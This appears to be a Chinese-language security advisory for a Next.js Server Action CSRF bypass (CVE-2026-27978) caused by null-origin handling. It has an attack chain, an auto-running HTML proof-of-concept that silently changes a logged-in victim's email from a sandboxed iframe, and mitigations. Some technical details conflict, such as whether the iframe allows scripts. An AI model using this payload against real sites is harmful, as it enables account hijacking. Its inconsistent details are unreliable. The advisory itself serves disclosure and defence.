IPBUF安全漏洞报告
English
CVE-2026-27978 CVSS 4.3 中危

CVE-2026-27978 Next.js Server Action CSRF验证绕过漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-27978
漏洞类型
CSRF跨站请求伪造
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Next.js

相关标签

CSRFNext.jsServer ActionOrigin验证绕过React框架Web安全沙盒逃逸

漏洞概述

Next.js是一个用于构建全栈Web应用程序的React框架。该漏洞存在于Next.js 16.0.1至16.1.7版本中,Server Action的CSRF验证机制存在缺陷。漏洞的根本原因在于当请求的origin值为null时(如来自沙盒iframe等不透明上下文),验证逻辑错误地将其视为"缺失"的origin而非有效的"null"字符串。这导致来自沙盒上下文的请求能够绕过origin验证,成功通过CSRF检查。攻击者可以利用此漏洞构造恶意页面,诱导已登录用户从沙盒iframe中发起Server Action请求,从而以受害者的身份执行状态变更操作,如修改账户信息、提交表单等。漏洞影响所有使用受影响版本Next.js且启用了Server Actions功能的Web应用程序。

技术细节

漏洞原理:Next.js的Server Action机制在处理CSRF验证时,使用origin请求头进行来源校验。正常情况下,浏览器会自动设置origin头为当前页面的完整origin(如https://example.com)。然而,当页面位于沙盒iframe(sandbox属性不包含allow-same-origin)或其他不透明上下文时,浏览器会将origin设置为null字符串。问题出在Next.js的验证代码中,null被当作"未设置origin"处理,导致验证逻辑认为这是同源请求而非跨域请求,从而跳过了CSRF保护检查。攻击者利用方式:首先搭建包含恶意Server Action调用的页面,然后将该页面嵌入到带有sandbox属性的iframe中(不含allow-same-origin和allow-scripts),当受害者在其他已登录Next.js站点访问此页面时,iframe内的脚本可以绕过CSRF检查,以受害者身份向目标Server Action发起请求。修复方案:在16.1.7版本中,代码被修改为将'null'字符串作为明确的origin值处理,并强制执行host/origin检查,除非在experimental.serverActions.allowedOrigins配置中显式允许'null'。

攻击链分析

STEP 1
1
攻击者搭建恶意网页,包含带有sandbox属性的iframe(不含allow-same-origin)
STEP 2
2
iframe内的JavaScript代码构造Server Action请求,目标指向受害者使用的Next.js应用
STEP 3
3
由于sandbox属性限制,浏览器将origin设置为'null',而非实际域名
STEP 4
4
Next.js的CSRF验证逻辑错误地将null origin视为"缺失",判定为同源请求
STEP 5
5
验证绕过后,Server Action以受害者的认证会话执行,完成状态变更操作
STEP 6
6
攻击者通过社工手段诱导已登录用户访问恶意页面,完成CSRF攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-27978 PoC: Server Action CSRF via sandboxed iframe --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2026-27978</title> </head> <body> <h1>Server Action CSRF Attack PoC</h1> <p>This PoC demonstrates how origin:null bypasses CSRF validation in Next.js Server Actions.</p> <!-- Sandboxed iframe without allow-same-origin causes origin to be 'null' --> <iframe sandbox="allow-scripts" srcdoc=" <script> // Simulate a Server Action request with origin:null async function performCSRF() { const targetUrl = 'https://vulnerable-app.com/api/server-action'; // The Server Action form data const formData = new FormData(); formData.append('action', 'updateUserProfile'); formData.append('email', '[email protected]'); try { const response = await fetch(targetUrl, { method: 'POST', mode: 'cors', credentials: 'include', // Include cookies headers: { 'Content-Type': 'multipart/form-data', }, body: formData }); console.log('CSRF request sent, status:', response.status); } catch (err) { console.error('CSRF attack failed:', err); } } // Auto-execute on load performCSRF(); </script> " ></iframe> <p>If the target uses Next.js < 16.1.7, this request will bypass CSRF checks.</p> </body> </html>

影响范围

Next.js 16.0.1 <= version < 16.1.7

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1)禁用或限制Server Actions的使用;2)为所有敏感Server Action添加CSRF token验证;3)将敏感认证Cookie的SameSite属性设置为Strict;4)在serverActions.allowedOrigins配置中明确禁止'null'值;5)避免在iframe中加载不可信内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表